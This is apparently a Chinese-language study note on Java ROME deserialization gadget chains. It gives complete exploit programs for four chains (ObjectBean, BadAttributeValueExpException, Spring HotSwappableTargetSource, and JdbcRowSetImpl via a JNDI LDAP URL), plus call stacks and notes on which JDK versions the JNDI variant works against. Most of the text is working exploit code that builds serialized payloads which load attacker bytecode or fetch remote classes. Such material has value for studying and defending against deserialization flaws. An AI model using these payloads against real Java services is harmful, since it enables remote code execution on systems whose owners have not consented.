Java-ROME反序列化链

Java-ROME链

这条链子整体是通过ToStringBean#toString来触发_beanClass的getter实现rce的

ObjectBean利用链

exp:

package org.example;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import javax.xml.transform.Templates;


public class Main {
    public static void main(String[] args) throws Exception {


        byte[] payloads = Files.readAllBytes(Paths.get("E:\\Download\\micro_service_seclab-main\\a\\target\\classes\\org\\example\\Calc.class"));


        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", new byte[][] {payloads});
        setFieldValue(templates, "_name", "harder");
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

        ObjectBean delegate = new ObjectBean(Templates.class, templates);
        ObjectBean root = new ObjectBean(ObjectBean.class, new ObjectBean(String.class, "harder"));


        HashMap<Object, Object> map = new HashMap<>();
        map.put(root, "harder");
        map.put("1", "1");

        Field field = ObjectBean.class.getDeclaredField("_equalsBean");
        field.setAccessible(true);
        field.set(root, new EqualsBean(ObjectBean.class, delegate));

        serialize(map);
        unserialize("ser.bin");

    }

    public static void setFieldValue(Object obj, String fieldName, Object
            value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void  serialize(Object obj) throws IOException, IOException {
        ObjectOutputStream oos =new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }

}

我们整条链子的调用栈是:

HashMap#readObject(java.io.ObjectInputStream)
HashMap#hash(Object)
ObjectBean#hashCode()
EqualsBean#beanHashCode()
ObjectBean#toString()
ToStringBean#toString()
ToStringBean#toString(String)
TemplatesImpl#getOutputProperties()

BadAttributeValueExpException利用链

这个之前在cc中经常遇到的,cc中的调用是:

BadAttributeValueExpException#readObject()
TiedMapEntry#toString()
LazyMap#get()
ChainedTransformer#transform()
package org.example;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;


public class Main {
    public static void main(String[] args) throws Exception {


        // 生成包含恶意类字节码的 TemplatesImpl 类
        byte[] payloads = Files.readAllBytes(Paths.get("E:\\Download\\micro_service_seclab-main\\a\\target\\classes\\org\\example\\Calc.class"));
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", new byte[][] {payloads});
        setFieldValue(templates, "_name", "harder");
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
        ToStringBean toStringBean = new ToStringBean(templates.getClass(),templates);
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(toStringBean);
        serialize(badAttributeValueExpException);
        unserialize("ser.bin");
        //new BadAttributeValueExpException();
    }

    public static void setFieldValue(Object obj, String fieldName, Object
            value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void  serialize(Object obj) throws IOException, IOException {
        ObjectOutputStream oos =new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }

}

BadAttributeValueExpException#readObject()
ToStringBean#toString()
ToStringBean#toString(String)
TemplatesImpl#getOutputProperties()

HotSwappableTargetSource利用链

这个是spring的原生链子来触发toSting来rce

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import com.sun.syndication.feed.impl.ToStringBean;
import org.springframework.aop.target.HotSwappableTargetSource;

import java.io.*;
import java.lang.reflect.Field;

import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;


public class Main {
    public static void main(String[] args) throws Exception {

        byte[] payloads = Files.readAllBytes(Paths.get("E:\\Download\\micro_service_seclab-main\\a\\target\\classes\\org\\example\\Calc.class"));
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", new byte[][] {payloads});
        setFieldValue(templates, "_name", "harder");
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

        ToStringBean  toStringBean = new ToStringBean(TemplatesImpl.class,templates);


        XString xString = new XString("harder");
        HotSwappableTargetSource hotSwappableTargetSource = new HotSwappableTargetSource(toStringBean);
        HotSwappableTargetSource hotSwappableTargetSource1 = new HotSwappableTargetSource(xString);

        HashMap<Object,Object> hashMap = new HashMap();
        hashMap.put(hotSwappableTargetSource,hotSwappableTargetSource);
        hashMap.put(hotSwappableTargetSource1,hotSwappableTargetSource1);

        serialize(hashMap);
        unserialize("ser.bin");

    }

    public static void setFieldValue(Object obj, String fieldName, Object
            value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void  serialize(Object obj) throws IOException, IOException, IOException {
        ObjectOutputStream oos =new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }

}

调用栈:

hashMap#readObject
hashMap#putVal
HotSwappableTargetSource#equals
Xstring#equals
ToStringBean#toString

JdbcRowSetImpl利用链

package org.example;

import com.sun.org.apache.xpath.internal.objects.XString;
import com.sun.rowset.JdbcRowSetImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;
import org.springframework.aop.target.HotSwappableTargetSource;

import javax.sql.rowset.JdbcRowSet;
import java.io.*;
import java.lang.reflect.Field;

import java.util.HashMap;


public class Main {
    public static void main(String[] args) throws Exception {

        String url = "ldap://localhost:1222/Exploit";
        JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
        jdbcRowSet.setDataSourceName(url);
        ToStringBean  toStringBean = new ToStringBean(JdbcRowSetImpl.class,jdbcRowSet);
        EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);
        HashMap<Object,Object> hashMap = new HashMap<>();
        hashMap.put(equalsBean, "123");
        serialize(hashMap);
        unserialize("ser.bin");

    }

    public static void setFieldValue(Object obj, String fieldName, Object
            value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void  serialize(Object obj) throws IOException, IOException, IOException {
        ObjectOutputStream oos =new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }

}

本质是通过getter触发jndi反序列化

所以这里还是会有jndi存在的问题

由于JDNI注入中trustURLCodebase的限制,这里限制的攻击版本为

  • RMI:JDK 6u132JDK 7u122JDK 8u113之前
  • LDAP:JDK 7u2018u1916u211JDK 11.0.1之前

toStringFuntionGetter

总结:

rome触发tostring然后任意beanclass类getter,从而导致rce,我把触发getter写到了函数toStringFuntion里面了

package org.example;

import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;

import java.io.*;
import java.lang.reflect.Field;

import java.util.HashMap;


public class Main {
    public static void main(String[] args) throws Exception {

    }

    public static void toStringFuntionGetter(Class beanClass, Object obj) throws IOException, ClassNotFoundException {
        ToStringBean  toStringBean = new ToStringBean(beanClass,obj);
        EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);
        HashMap<Object,Object> hashMap = new HashMap<>();
        hashMap.put(equalsBean, "123");
        serialize(hashMap);
        unserialize("ser.bin");
    }
    public static void  serialize(Object obj) throws IOException, IOException, IOException {
        ObjectOutputStream oos =new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }

    public static void setFieldValue(Object obj, String fieldName, Object
            value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }



}

参考:

https://goodapple.top/archives/1145